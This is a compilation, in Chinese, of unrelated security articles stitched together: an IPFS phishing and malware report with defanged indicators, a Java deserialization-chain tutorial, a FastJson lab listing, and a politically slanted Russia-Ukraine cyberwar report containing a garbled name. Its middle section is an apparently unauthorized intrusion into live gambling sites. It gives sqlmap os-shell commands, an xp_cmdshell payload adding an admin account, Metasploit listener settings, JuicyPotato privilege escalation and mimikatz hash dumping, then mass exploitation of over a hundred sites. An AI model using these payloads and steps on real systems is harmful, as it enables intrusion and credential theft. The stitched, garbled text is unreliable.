對無頭表單的分析表明,此網絡釣魚頁面使用的是一種管理用戶表單的方法,在該方法中,可以在第三方後端捕獲數據,而無需設計或開發前端web應用程序。

13.png

Nills.html的解碼視圖,其中包含憑據洩露的位置

受害者輸入帳戶用戶名和密碼憑據後,它將通過HTTPPOST請求發送。 URI末尾的字符串(GjCP9S9nke)是與無頭表單平台上的攻擊者相關聯的唯一標識令牌。

14.png

HTTP POST和捕獲的憑據

new.html中的HTTP POST另一個模仿微軟的網絡釣魚頁面也託管在IPFS上,名為new.html。關聯的IPFS釣魚URL為:

hxxp[://]bafybeifm5vcoj35hhuxf7ha3gg6asrrlrwu3bvcysgmrvygnm3qjmugwxq[.]ipfs[.]w3s[.]link/new[.]html?email=

15.png

new.html釣魚頁面

查看網頁源代碼會發現一個與前面引用的類似的JS函數,它對內容進行反轉義,將其解碼為ASCII值。 unescape函數如下圖所示。

16.png

new.html的源代碼視圖

對內容進行解碼後,會發現位於大量代碼底部附近的一個感興趣的片段,如下圖所示。

17.png

new.html URL

上圖中的代碼片段顯示了註冊到提交按鈕的點擊函數事件的外部URL (fairpartner[.]ru)。此URL將與HTTP POST請求提供的數據聯繫,如下圖所示。

18.png

fairpartner.ru的DNS請求

截止發文,研究人員還無法捕獲憑證盜竊,因為該域不再可訪問,這突出了使用第三方服務(如無頭表單)進行攻擊的優勢。

IPFS不僅被攻擊者用於網絡釣魚,它還用於惡意軟件攻擊集和勒索軟件。

眾所周知,RansomEXX等勒索軟件即服務(RaaS)運營商會使用IPFS網絡發布受害者被盜的數據。 Smoke Loader、XLoader、XMRig和OriginLogger等惡意軟件經常使用IPFS鏈接進行惡意有效負載傳遞。 IPStorm和Dark實用程序使用IPFS網絡作為基礎設施。

攻擊過程攻擊者以幾種不同的方式使用IPFS網關。可以將這些方法分類為傳播方法,或用作託管或分級有效負載的基礎設施,或者用作分散的C2信道。

以下惡意軟件家族在2022年全年一直在使用IPFS。惡意軟件家族Dark Utilities一直在使用IPFS網關來轉移惡意負載。 IPStorm使用IPFS網關作為P2P通信的C2信道。

攻擊者還使用IPFS網關提供各種惡意軟件,例如:

OriginLogger

XLoader

XMRig

Metasploit

接下來,我們將介紹這些攻擊是如何在高級別上運行的,包括IPFS是如何被用來促進惡意操作的。

OriginLoggerOriginLogger惡意軟件開始於2019年。它是Agent Tesla遠程訪問木馬的迭代版本。它是用.NET編寫的,是一個隱蔽性很強的信息竊取程序。這種攻擊通常以擊鍵和剪貼板數據為目標,這些數據通過C2通道傳送回攻擊者控制的服務器。

Unit 42的研究人員發現了一個偽裝成逾期發票的電子郵件誘餌,帶有XLL附件。打開XLL文件後,會向IPFS URL發送HTTP GET請求:

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

此URL用於通過IPFS網關下載OriginLogger負載。

19.png

附件

下圖顯示了OriginLogger的第二個傳播示例,這封電子郵件也偽裝成過期發票,標題是“過期發票”。

這個電子郵件誘餌還有一個XLL文件附件。打開後,還會向IPFS URL發送GET請求:

hxxps[://]ipfs[.]io/ipfs/QmXtVwamvHvXZzuEZcMn2xDsPRKN8uS17YCUzTiGx1rYnv?filename=file-05-2022.exe

點擊此URL可通過IPFS網關下載OriginLogger負載。

20.png

推送包含OriginLogger有效負載的附件的電子郵件

下面列出了託管在IPFS上的一些其他OriginLogger有效負載,這些負載來自2022年5月至6月期間發生的一場活動:

hxxps[://]ipfs[.]io/ipfs/QmQBPuPxy3nZjK2yVspsUJVhutajAfRQpnjc58RAcUJFrh?filename=INV-SCL0093-05-22pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmY4kDbUk8VYM8Zzn1rVgfa3c4ybma4evMBfyWwyieaZxW?filename=Sign-Reurn-pdf.exe

hxxps[://]ipfs[.]io/ipfs/QmczJ1MxQ2SH8deXBTJfFgsrApM5BShgLSh1MQry4Vxc4c?filename=REF

XLoaderXLoader惡意軟件起始於2020年,是FormBook的迭代版。 XLoader被宣傳為一種可以在Windows和macOS上運行的軟件即服務(MaaS)產品。 XLoader能竊取瀏覽器和登錄憑證,它還能夠記錄鍵盤和捕獲屏幕截圖。

Unit 42的研究人員觀察到以下與XLoader有效負載託管相關的野外(ITW)URL:

hxxp[://]bafybeiafb63z73aoz3d4jdpve2rhlwo6ujlzjyri26z63flqnara2dqwoa[.]ipfs[.]dweb[.]link/order.exe

bafybeicokadgkcohrqslwdnmtu5mcc2zmo2hveiw2bh5j5z35onsxe3cy4[.]ipfs[.]dweb[.]link

XMRigXMRig是一個自2017年以來一直活躍的惡意挖礦軟件,它是一個開源實用程序,很受各類攻擊組織的歡迎。

下圖顯示了一個ITW IPFS域,該域在2023年3月下旬為XMRig有效負載提供服務。 Unit 42的研究人員還觀察到攻擊者濫用Cloudflare的IPFS網關來託管XMRig。

21.png

ITW域正在下載XMRig有效負載

Unit 42觀察到以下與XMRig託管相關的URL:

hxxps[://]bafybeibgc3snqi6qesnhskujhjcbduu7lfhju7eppumuqhymapuwvln6tq[.]ipfs[.]nftstorage[.]link

hxxps[://]cloudflareipfs[.]com/ipns/12D3KooWDdu1TTG9JRzFisv8HBXE2Zi2qpqs1r2vb88vEE1ws5mc/phpupdate.exe

下圖顯示了XMRig的可執行PE文件屬性。

22.png

XMRig PE文件信息

MetasploitMetasploit框架是一個滲透測試工具包,自21世紀初以來就一直活躍。 Metasploit包含漏洞利用、模塊、有效負載和輔助功能。該工具包的主要用例是生成有效負載並實現代碼執行,以建立與受害者設備的通信通道。這使得使用該工具包的人能夠訪問和控制環境或用戶。

2023年3月下旬,Unit 42的研究人員觀察到一個ITW IPFS域:

hxxps[://]bafybeihtuhj7ezvjbtig75qpv43t7eh6dmcnarlm454fx5yjb4uzqbidpy[.]ipfs[.]infura-ipfs[.]io

自2022年5月26日以來,該域一直在提供Metasploit shellcode負載。 shellcode連接回IP地址51.254.127[.]82。

23.png

從IPFS域下載Metasploit負載

24.png

Metasploit shellcode逆向shell IP連接

與相同的Metasploit有效負載相關的附加ITW域:

hxxps[://]ipfs.infura[.]io/ipfs/QmejguEysvXLMaAYmXe3EXmjfnoAqMdVfn4ojto1yLTGhK

IPStormIPStorm惡意軟件自2019年以來一直活躍,它使用IPFS作為C2通道。

IPStorm使用開源庫libp2p作為網絡棧,並通過IPFS網絡進行P2P通信。可執行文件是用Golang編寫的,包含多個可用於識別惡意軟件家族的軟件包名稱。該攻擊在模塊名稱之前使用文件夾名稱/storm,如下圖所示。

25.png

b8ee3897aff6c6660557a4c73b243870020705df6c87287040bfcd68b7c8b100中使用的GO庫的屏幕截圖

Dark UtilitiesDark Utilities惡意軟件家族最初是在2022年由Cisco Talos發現的。是一個為攻擊者提供全功能C2 功能的平台,使用IPFS作為其首選的傳播渠道。此攻擊可以針對Windows

0x00  前言

我们的小团队对偶然发现的bc站点进行的渗透,从一开始只有sqlmap反弹的无回显os-shell到CS上线,到配合MSF上传脏土豆提权,到拿下SYSTEM权限的过程,分享记录一下渗透过程

0x01 登录框sql注入

看到登录框没什么好说的,先试试sqlmap一把梭

图片

burp抓包登录请求,保存到文件直接跑一下试试

python3 sqlmap.py -r "2.txt"

有盲注和堆叠注入

图片

看看能不能直接用sqlmap拿shell

python3 sqlmap.py -r "2.txt" --os-shell

目测不行

图片

 提示的是xp_cmdshell未开启,由于之前扫出来有堆叠注入,尝试运用存储过程打开xp_cmdshell

Payload:

userName=admin';exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;WAITFOR DELAY '0:0:15' --&password=123

延时15秒,执行成功(如果没有堆叠注入就把每个语句拆开一句一句执行,效果理论上应该是一样的)

图片

顺便试试看直接用xp_cmdshell来加用户提权,构造payload(注意密码别设太简单,windows系统貌似对密码强度有要求,设太简单可能会失败)

userName=admin';exec xp_cmdshell 'net user cmdshell Test ZjZ0ErUwPcxRsgG8E3hL /add';exec master..xp_cmdshell 'net localgroup administrators Test /add';WAITFOR DELAY '0:0:15' --&password=123

nmap扫了一下,目标的3389是开着的,mstsc.exe直接连

没连上

图片

再跑一下os-shell,发现能跑绝对路径了,好兆头

图片

成功弹出shell

图片

因为是盲注,所以执行whoami之类的命令各种没回显,于是直接来个CS的shellcode

图片

图片

生成的shellcode直接粘贴进os-shell里回车

图片

然后CS里啪的一下就上线了,很快啊.赶紧喊几个不讲武德的年轻人上线打牌

0x02 信息收集

tasklist看一下进程,有阿里云盾,有点难搞

图片

systeminfo看看有什么

阿里云的服务器,版本windows server 2008 R2打了75个补丁

图片

whoami一下,目测数据库被做过降权,nt service权限,非常低

图片

尝试传个ms-16-032的exp上去,直接上传失败

图片

到这里,CS的作用已经极其有限了.CS也就图一乐,真渗透还得靠MSF

0x03  利用frp到CS服务端联动MSF攻击

在CS上开一个监听器

图片

修改一下frp的配置文件

图片

保存配置文件后在frp文件夹下启动frp

./frpc -c frpc.ini

图片

打开msf开启监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set LHOST 127.0.0.1
set LPORT 9996
run

这里可以看到MSF已经开启监听了

图片

回到CS,右键选一个主机增加一个会话

图片

选择刚创建好的监听器,choose

图片

回到msf,session啪的一下就弹回来了,很快啊

图片

我们进shell看一下,实际上就是接管了CS的beacon,依然是低权限

图片

0x04 上传烂土豆EXP提权

在本地准备好一个烂土豆的EXP(注意windows路径多加个斜杠,虽然也可以不加,但试了几台机子发现加了成功率高,不知道什么原理)

upload /root/EXP/JuicyPotato/potato.exe C:\\Users\\Public

图片

CS翻一下目标机器的文件,发现成功上传

图片

然后进目标机器的这个文件夹下开始准备提权

cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"

图片

最后检查一下是否提权成功

图片

0x05 mimikatz抓取密码hash

先提个权

getsystem

图片

试试能不能直接dump出来

图片

不行,只好用mimikatz了

load mimikatz

然后抓取密码哈希

mimikatz_command -f samdump::hashes

图片

也可以用MSF自带的模块(这个比mimikatz慢一点)

run post/windows/gather/smart_hashdump

图片

然后丢到CMD5解密,如果是弱口令可以解出账户密码,这次运气比较好,是个弱口令,直接解出了密码,然后mstsc.exe直接连,成功上桌面

图片

0x06 信息收集扩大攻击范围

成功获取到目标最高权限之后,尝试通过信息收集获取其他相类似的站点进行批量化攻击.

@crow师傅提取了该网站的CMS特征写了一个fofa脚本批量扫描,最终得到了1900+个站点

图片

但由于bc站往往打一枪换一个地方,这些域名往往大部分是不可用的,因此需要再确认域名的存活状态,使用脚本最终得到了一百多个存活域名

图片

在使用脚本批量访问带漏洞的URL,把生成的request利用多线程脚本批量发起请求去跑这个请求

python3 sqlmap.py -r "{0}" --dbms="Microsoft SQL Server" --batch --os-shell

最终得到可以弹出os-shell的主机,再通过手工注入shellcode,最终得到大量的上线主机

图片

0x07 进后台逛逛

用数据库里查出来的管理员账号密码登录网站后台看一看

20个人充值了80多万

图片


图片

图片


还有人的游戏账号叫"锦绣前程",殊不知网赌就是在葬送自己的前程!

图片

劝大家远离赌博,也希望陷进去的赌徒回头是岸!






转载于原文链接地址: https://mp.weixin.qq.com/s?__biz=MzI3NjA4MjMyMw==&mid=2647772541&idx=1&sn=646e732c96521e0d4d9d109426c4dc4d&chksm=f35f9681c4281f97b4c46cd95f858dc90481706a6db607fcfd6596a15745ca10c88ba83e0e9f&scene=21#wechat_redirect

1683253145740260.jpeg

0x01 前言距離上一次更新JAVA安全的系列文章已經過去一段時間了,在上一篇文章中介紹了反序列化利用鏈基本知識,並闡述了Transform鏈的基本知識。 Transform鏈並不是一條完整的利用鏈,只是CommonsCollections利用鏈中的一部分。當然並不是所有的CC鏈都需要用Transform鏈。

為了更方便的理解CC鏈,我們並不會按照順序來闡述所有的鏈,而是按照鏈的難易程度,由易到難。

0x02CommonsCollections5鏈CommonsCollections5鍊是整個CC鏈中最簡單的一條鏈,通過BadAttributeValueExpException類的readObject方法觸發反序列化的過程,最終調用Transform鏈來達到命令執行的效果。

在ysoserial的環境中調試CommonsCollections5鏈的方式很簡單,如圖2.1所示。1683253223115330.png

圖2.1 使用ysoserial生成反序列化利用鏈

直接調用就會執行彈出計算器的命令,跟踪run方法可以查看代碼執行邏輯,如圖2.2所示。

1683253284109251.png

圖2.2 在ysoserial中的序列化和反序列化過程

在ysoserial的run方法中既有序列化的過程,也有反序列化的過程。所以調用run方法因為反序列化的過程導致會執行對應的惡意代碼,彈出計算器。

在很多情況下需要保存反序列化對像到文件,可以通過在run方法中添加文件保存方法即可,如圖2.3所示。

1683253318921757.png

圖2.3 保存序列化字節碼對像到文件

通過上面的方式可以直接把生成的序列化字節碼對象保存到文件cc.ser,查看文件內容,如圖2.4所示。文件中開頭的字符是aced0005,符合序列化文件的標準特徵。

1683253357214716.png

圖2.4 通過xxd查看序列化文件保存的內容

通過上面的方式可以利用ysoserial生成標準的CommonsCollections5利用鏈對應的payload,下一步會繼續對CommonsCollections5利用鏈的調用過程進行分析。

通過debug的方式可以查看整個CommonsCollections5利用鏈的棧調用過程,如圖2.5所示。

1683253399115293.png

圖2.5 CommonsCollections5利用鏈的棧調用過程

在圖2.5中,紅框2對應的過程階段是屬於Transform鏈的調用過程,在上一篇文章中已經進行詳述。紅框1對應的過程階段是屬於CommonsCollections5特有的調用過程,也是屬於本文的重點部分內容。

反序列化的起始點是javax.management.BadAttributeValueExpException類的readObject方法,如圖2.6所示。

1683253437177607.png

圖2.6 調用BadAttributeValueExpException類的readObject方法

從圖2.6可以看出readObject方法首先獲取字節流類(也就是本類)對應的val字段,然後基於多個判斷,最終下一步操作是val字段對應的toString方法。這裡有一點需要注意的是判斷邏輯中要求System.getSecurityManager()為null,也就是不能開啟SecurityManager模式。

在下一步的調用棧中是調用了org.apache.commons.collections.keyvalue.TiedMapEntry的toString方法,也就是需要把上一步的val字段類型賦值為TiedMapEntry類。在TiedMapEntry類的toString方法中調用了getValue方法,如圖2.7所示。

1683253474461492.png

圖2.7 TiedMapEntry類的toString方法

繼續跟踪getValue方法,如圖2.8所示。

1683253512120378.png

圖2.8 調用map接口的get方法

從圖2.8可以看出,這裡調用了java.util.Map接口的get方法。所有隻要找到一個繼承自java.util.Map接口的類的get方法中存在惡意調用即可。在CommonsCollections5鏈中找到的惡意類是org.apache.commons.collections.map.LazyMap類,如圖2.9所示。

1683253564192404.png

圖2.9 LazyMap類的get方法調用

從圖2.9可以看出LazyMap類的get方法會調用org.apache.commons.collections.Transformer類的transform方法。在上一篇文章的內容中已經講到在反序列化過程中如果可以調用transform方法,那麼就可以通過transform方法來執行系統命令,也就可以達到RCE的效果。

實際上要編寫真正可利用的EXP遠比基於棧調用來分析更加複雜,因為在編寫EXP的過程中,需要考慮每一步棧調用的過程中的邏輯判斷條件,這並不是一件簡單的事情。

一般來說反序列化利用鏈代碼的編寫是倒著來寫的,首先是transform鏈的構造,如果某個類可以調用transformChain的transform方法,則可以執行命令,如圖2.10所示

1683253595107777.png

圖2.10 通過調用Transformer類的transform方法調用執行命令

註釋transform方法調用,繼續倒序編寫EXP。如果某個類可以調用LazyMap類的get方法,則可以執行系統命令,如圖2.11所示。

1683253640115164.png

圖2.11 通過調用LazyMap類的get方法執行命令

註釋LazyMap的get方法調用,繼續倒序編寫EXP。如果某個類可以調用TiedMapEntry類的toString方法,則可以執行系統命令,如圖2.12所示。

1683253676150771.png

圖2.12 通過調用TiedMapEntry類的toString方法執行系統命令

註釋TiedMapEntry的toString方法調用,繼續倒序編寫EXP。找到javax.management. BadAttributeValueExpException類的readObject方法中存在toString的方法調用,模擬反序列化過程,執行命令,如圖2.13所示。

1683253713138888.png

圖2.13 模擬BadAttributeValueExpException類的反序列化過程執行命令

這樣就完整的複現和分析了CommonsCollections5利用鏈,從圖2.13的payload中可以看出CommonsCollections5利用鏈中沒有復雜的邏輯處理,適合新手入門java反序列化漏洞學習。

0x03CommonsCollections7鏈CommonsCollections7鍊是一條和CommonsCollections5鏈很像的利用鏈,最終的結果都是通過LazyMap的get方法調用Transform鏈來執行命令,調用棧如圖3.1所示。

1683253747166447.png

圖3.1CommonsCollections7利用鏈

如圖3.1所示,其中紅框部分和CommonsCollections5鍊是完全一樣的,區別在於CommonsCollections7鍊是通過Hashtable類readObject方法一步步調用AbstractMap類的equals方法來調用的。

由於分析調用鏈的方式基本相同,所以不再對這條鏈進行分析。

0x04 結論CommonsCollections利用鏈中有多條利用鏈都涉及到Transform鏈,包括CC1、CC5、CC6、CC7,其中的調用過程都非常相似。但是並不是所有的CC鏈都是基於Transform實現的命令執行,在下一篇文章中會講到其他的利用鏈,會有更加複雜的應用方式。

往期推薦1

告別腳本小子系列丨JAVA安全(1)——JAVA本地調試和遠程調試技巧

2

告別腳本小子系列丨JAVA安全(2)——JAVA反編譯技巧

3

告別腳本小子系列丨JAVA安全(3)——JAVA反射機制

4

告別腳本小子系列丨JAVA安全(4)——ClassLoader機制與冰蠍Webshell分析

5

告別腳本小子系列丨JAVA安全(5)——序列化與反序列化

6

告別腳本小子系列丨JAVA安全(6)——反序列化利用鏈(上)

fastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入、waf绕过、文件读写、反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒测试,从黑盒的角度覆盖FastJson深入利用全过程,部分环境需要给到jar包反编译分析。

Docker环境

docker compose up -d

若docker拉取环境缓慢,请尝试使用国内镜像

https://www.runoob.com/docker/docker-mirror-acceleration.html

环境启动后,访问对应ip的80端口:

ti2jxksoecy12903.jpg

总结了一些关于FastJson全版本常用漏洞利用Poc,可搭配食用:Fastjson全版本检测及利用-Poc

环境使用后请销毁,否则可能会冲突:docker compose down

整理一下靶场顺序:(根据利用特点分成三个大类)

FastJson 1.2.47

1247-jndi

1247-jndi-waf

1247-waf-c3p0

1245-jdk8u342

FastJson 1.2.68

1268-readfile

1268-jkd11-writefile

1268-jdk8-writefile

1268-writefile-jsp

1268-writefile-no-network

1268-jdbc

1268写文件利用另外写了一篇,可搭配使用:FastJson1268写文件RCE探究

FastJson 1.2.80

1280-groovy

1283-serialize

每个机器根目录下都藏有flag文件,去尝试获取吧!

部分环境wp目前还未给出,打算过段时间放出,也欢迎提交你的wp和建议



DOCK环境:https://github.com/lemono0/FastJsonParty



俄烏衝突是一場新型的混合戰爭。在俄烏物理空間戰場之外,網絡戰、輿論認知戰膠著在一起,多方勢力進行激烈的較量。自2022年俄烏衝突引發全球高度關注至今,俄烏衝突已持續了400多天,局勢持續發酵。據2023年4月9日《纽约时报》 報導,多家社交媒體近來披露了一批疑似美軍秘密文件中,包含韓國政府高層討論是否向烏克蘭提供武器等內容,而這些信息來自美國情報部門對韓方的監聽。這一信息一經發布,再次引發對俄烏衝突話題的關注。

以美國為首的西方國家,雖然表面上未直接參與軍事衝突,卻利用其先進的網絡信息技術和主流媒體平台極力壓制俄羅斯,並引導全球黑客加入網絡戰,起到了推波助瀾的作用。 2022年6月,微軟公司發布的《保卫乌克兰:网络战争的初始教训》 報告指出,在俄烏戰爭爆發前的一周內烏克蘭政府的數據就被悄悄的“運出”了烏克蘭,上傳到美國的雲上進行數據儲存和處理,美國甚至為此還修訂了法律。俄烏衝突爆發後,美國前國務卿希拉里马云惹不起马云克林頓在接受美國微軟全國廣播公司(MSNBC)的採訪時呼籲美國黑客對俄羅斯發動網絡攻擊。美國還在利用跨國信息科技公司在互聯網世界的資源主導權,不斷對俄羅斯的輿論發聲渠道圍追堵截。蘋果公司刪除了俄羅斯以外國家和地區App Store中俄羅斯的新聞應用程序;谷歌公司封鎖了俄羅斯官方媒體的YouTube頻道。美國在俄烏衝突背後的頻頻動作,暴露出美國所宣揚的所謂“清潔網絡”和“符合民主價值觀和利益的技術”,不過是可以讓美國肆意竊密、隨意攻擊他國、確保美國“唯我獨尊”的網絡和技術優勢。最近美國五角大樓洩露的情報等一系列事實證明,美國是網絡戰的始作俑者、先進網絡武器的最大擴散方、全球最大的網絡竊密者。

本報告基於網絡空間搜索引擎鍾馗之眼(ZoomEye)的網絡空間測繪數據、創宇安全智腦、關基目標庫、高級持續性威脅(APT)流量監測系統、雲蜜罐平台的攻擊日誌數據,通過對俄烏衝突爆發前、衝突爆發初期、衝突相持階段的相關數據進行趨勢分析,描繪俄烏衝突網絡空間對抗的演進過程,總結俄烏衝突網絡空間對抗呈現的主要特徵,並總結經驗、提出建議。

一、俄烏衝突網絡空間對抗情況概覽根據ZoomEye的數據,可以將俄烏衝突劃分為三個階段,即衝突爆發前(2021年12月1日至2022年2月24日)、衝突爆發初期(2022年2月24日至2022年3月7日)和衝突相持階段(2022年3月7日至今)(見圖1)。

图1.jpg

圖1 烏克蘭的IP存活趨勢圖

通過網絡空間動態測繪、APT組織行為測繪、攻擊者大數據監測、暗網流量監測、輿情信息監測等多個維度,分析俄烏衝突以來網絡空間資產變化趨勢和網絡空間對抗態勢,可以發現和全面“感知”網絡戰這個新型戰場與物理空間戰場發展態勢之間的關聯映射。

一是“感知”了雙方的網絡空間戰法戰略。推測雙方通過衝突爆發前的長期APT攻擊獲取了精準的高價值情報,在軍事衝突爆發之前“網絡戰先行”,通過分佈式拒絕服務(DDoS)攻擊重點打擊對方的軍事、能源、金融等關鍵基礎設施,並在軍事衝突爆發後通過網絡戰持續消耗對方,同時,將輿論認知戰貫穿始終,以便達到鼓舞己方士氣、削弱敵方信心的目的。

二是“感知”了俄烏衝突爆發前的作戰準備。通過對APT組織的長期情報跟踪以及對全球黑客組織所使用的網絡資產、殭屍主機進行測繪,可以發現,在衝突爆發前有大量用於攻擊的命令與控制(C2)服務器資源上線部署,為衝突爆發前進行大規模DDoS攻擊提供支撐。

三是“感知”了DDoS攻擊先行成為衝突背後壓制對方的重要手段。通過“肉雞”數量的變化趨勢以及俄烏雙方關鍵信息系統的存活的變化趨勢,可以發現,軍事行動之前往往伴隨大規模DDoS攻擊,成為先行壓制的重要手段。

四是“感知”了在衝突初期特別軍事行動演進路線以及在相持階段雙方多次大規模空襲的區域分佈。通過對沖突爆發區域的網絡空間IP掉線率數據變化及分佈情況,可以發現,區域分佈與特別軍事行動演進路線及進度高度吻合。

五是“感知”了雙方應對網絡攻擊的防禦能力和應急響應能力。通過對黑客使用的跳板抽樣數據、暗網出口流量的變化趨勢分析,可以發現,國際黑客組織在俄烏衝突中產生了巨大影響。國際黑客組織對俄烏雙方發動攻擊的趨勢和烈度,與俄烏雙方關鍵資產的掉線率相印證,可以從側面反映出俄烏雙方的網絡防護能力和應急響應能力。

六是“感知”了雙方在網絡空間對抗的激烈程度。通過對APT組織域名資產的變化趨勢分析、對烏克蘭戰場智能指揮系統Delta入侵事件還原,以及對烏克蘭IT軍隊在社交平台公佈的信息分析,可以看出,俄烏雙方在網絡空間的持續對抗情況,與長期的測繪數據情況相匹配。

七是“感知”了搶奪認知域作戰主動權就是搶占國際輿論主導。俄烏雙方都以“第一視角”的方式向全球直播衝突對抗實況,都在網絡媒體和社交平台發聲,爭奪國際傳播認知敘事主導權。以美國為首的西方國家利用在互聯網世界的資源主導權,不斷對俄羅斯的輿論發聲渠道進行圍追堵截,致使全球黑客站隊情況呈現一邊倒的局勢,也使網絡戰的邊界更加模糊,大大影響了網絡戰資源的傾斜。

二、俄烏衝突爆發前期網絡空間對抗綜合各方觀點,可以推測,在俄烏衝突爆發前,雙方主要通過連續多年的APT攻擊獲取情報,為日後發起軍事衝突打下基礎。上述情況也可以從知道創宇的APT組織行為測繪以及輿論信息數據得到驗證和顯示。

1 衝突爆發前APT組織行為的測繪數據知道創宇404高級威脅情報團隊連續多年跟踪某個國外APT組織行為發現,國外安全機構報導稱該組織從2013年開始針對烏克蘭開展APT攻擊活動。通過對該APT組織使用的C2網絡資產進行持續測繪(見圖2),可以明顯看到,從2021年5月開始,該組織的C2網絡資產數量相較之前激增近3倍,並在2022年1月達到最高峰。由此推測,俄烏衝突爆發前,該APT組織即開始大量部署網絡基礎設施,並對烏克蘭持續性實施大規模的網絡攻擊。

图2.jpg

圖2 衝突爆發前某國外APT組織使用的IP資產情況

從該APT組織使用域名的維度看(見圖3),在2020年12月至2021年5月期間,該組織表現異常活躍,使用的域名到2021年5月達到創紀錄的8454個,隨後迅速回落到1000個左右。該組織使用的域名在2022年2月達到峰值的7292個。這意味著在俄烏衝突爆發前,該APT組織已做好了網絡空間對抗的相關準備。

图3.jpg

圖3 衝突爆發前某APT組織使用的域名資產情況

2 衝突爆發前網絡空間資產的動態測繪數據分析ZoomEye的測繪數據(見圖4),可以發現,從衝突爆發前的2022年2月15日開始,烏克蘭的IP資產數量明顯下降。據媒體當天的報導,烏克蘭政府機構等關鍵部門遭到大規模DDoS攻擊。由此可以推測,是DDoS攻擊致癱了烏克蘭的大量網站等在線系統,主要表現為網絡空間資產的劇烈震盪。

图4.jpg

圖4 烏克蘭全境IP存活狀態趨勢測繪

3 衝突爆發前的輿論信息數據在衝突爆發前,美國曾派白宮最高級別網絡安全官員訪問北約,協調盟友共同幫助烏克蘭應對網絡戰。美國網絡司令部還增加了前往東歐的“前出狩獵”小組的數量,任務是加強烏克蘭的網絡防禦能力。美國還通過網絡平台散佈俄羅斯在不久後進攻烏克蘭的輿論,並多次在網上公佈俄軍在俄烏邊境調動和部署情況,揭開了俄烏衝突輿論信息戰的序幕。

三、俄烏衝突爆發初期網絡空間對抗在俄烏衝突初期,多家媒體報導,俄羅斯主要通過大規模DDoS攻擊、數據擦除惡意軟件攻擊等方式,使烏克蘭大量互聯網、通信、交通、能源、金融等關鍵信息基礎設施陷入癱瘓,有效打擊了烏方軍事指揮控制能力,為特別軍事行動發動“閃電戰”製造戰機。同時,烏克蘭在Telegram上持續發布任務,組織國際黑客向俄羅斯發起網絡攻擊。國際黑客組織“匿名者”(Anonymous)宣布對俄發動“網絡戰爭”,聲稱攻擊了俄羅斯電視台。克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。這些情況可以從ZoomEye網絡空間動態測繪、攻擊者大數據監測、暗網流量監測的數據得到驗證和顯示。

1 ZoomEye網絡空間動態測繪數據俄烏衝突的爆發區域主要在烏克蘭境內,據ZoomEye對烏克蘭全境IP地址的在線存活狀態數據,可以看出,網絡戰場的網絡資產實際變化與特別軍事行動的時間點相吻合,也印證了實體戰場和網絡空間態勢之間有確切的時間對應關係。

2月23日至24日,烏方開始通過自主防衛手段主動斷網,保護關鍵信息基礎設施。從圖5可看出,2月24日16點51分,存活IP數量急劇下降至86%;2月24日20點37分,前期主動斷網系統重新上線,存活IP 數量反彈回升至94%。但是,在隨後一段時期(2月25日至3月7日),存活IP數量整體保持下降趨勢,網絡資產持續掉線。截至3月7日,存活IP數量已經降至78%。

图5.jpg

圖5 烏克蘭全境IP在線存活變化趨勢

從烏克蘭各州IP存活數量變化趨勢數據(見圖6)可以看出,多數直轄市和州的存活IP數在2月24日均有急劇下降,與烏克蘭全境IP地址在線存活數量的變化趨勢相吻合。

图6.jpg

圖6 烏克蘭各州IP存活數量變化趨勢

對烏克蘭首都和州2月24日IP存活比例和3月7日IP存活比例進行統計,統計結果如表1所示(該表格以基輔和各州2月23日IP存活數量進行降序排列)。

表1 烏克蘭各州IP存活率

表1.jpg

對烏克蘭首都和州網絡資產掉線狀況進行統計,可以繪製成熱力圖(見圖7)。該圖反映的狀況映射出俄烏特別軍事行動的演進進程,即俄羅斯是從北(基輔州)、東(哈爾科夫州、頓涅茨克州)、南(扎波羅熱州)三個方向對烏克蘭發動突襲,與實際情況高度吻合(見圖8)。

图7.jpg

圖7 烏克蘭各州網絡空間IP存活率熱力圖

图8.jpg

圖8 俄烏特別軍事行動進程圖

通過ZoomEye對烏克蘭的網絡空間持續測繪,對烏克蘭的軍事及軍事相關的基礎設施存活變化進行觀察及統計分析(見圖9),可以發現,在衝突初期階段有一個急劇下降的趨勢,這個說明基礎設施成為衝突的核心重點攻擊目標,這也表明俄羅斯在衝突前就已經掌握了烏克蘭相關的關鍵基礎設施的分佈等數據,很可能在本次武裝衝突之前就展開對應的信息收集工作,由此說明在現代武裝衝突中國家的基礎設施安全至關重要,並且說明相比現實空間的實體戰,網絡戰早已經先行。

图9.jpg

圖9 烏克蘭關鍵信息基礎設施在線存活變化趨勢

2022年2月24日的16點51分,烏克蘭的關基設施在數小時內掉線比例達到57.81%,遠遠高於非關基設施的掉線比例7.52%。 2022年3月7日,烏克蘭的關基設施掉線比例為66.00%,仍然遠高於非關基設施的掉線比例16.07%(見表2)。

表2 烏克蘭網絡資產變化情況

表2.jpg

表2顯示,2月24日非關基設施的資產掉線比例是7.52%,3月7日非關基設施的資產掉線比例是16.07%,非關基設施的掉線比例有明顯的增加,說明戰爭對烏克蘭的民眾生活及社會局勢帶來了越來越多的不穩定性。這段時間的媒體報導顯示,大量的烏克蘭人民選擇離開烏克蘭。

從烏克蘭掉線的關基設施所屬行業分佈(見圖10)可以看出,掉線的關基設施數量最多的3個行業是金融、政府和能源。這與媒體報導俄羅斯針對烏克蘭的政府和銀行網站開展大量DDoS網絡攻擊的情況相呼應。

图10.jpg

圖10 烏克蘭掉線關基設施行業分佈

據俄羅斯衛星通訊社2月27日消息,國際黑客組織“匿名者”(Anonymous)宣布對俄發動“網絡戰爭”,聲稱對今日俄羅斯電視台(RT)遭受的一次網絡攻擊負責,並“黑掉”了車臣政府網站,也攻擊了不少俄羅斯的攝像頭。同日,美國前國務卿希拉里马云惹不起马云克林頓呼籲美國黑客對俄羅斯發動網絡攻擊。另據Cyberscoop網站消息,俄羅斯政府3月2日公佈的一份清單顯示,有17500多個IP地址和174個互聯網域名參與了針對俄境內目標的持續DDoS攻擊,克里姆林宮、國家杜馬和國防部的網站因DDoS攻擊而離線。

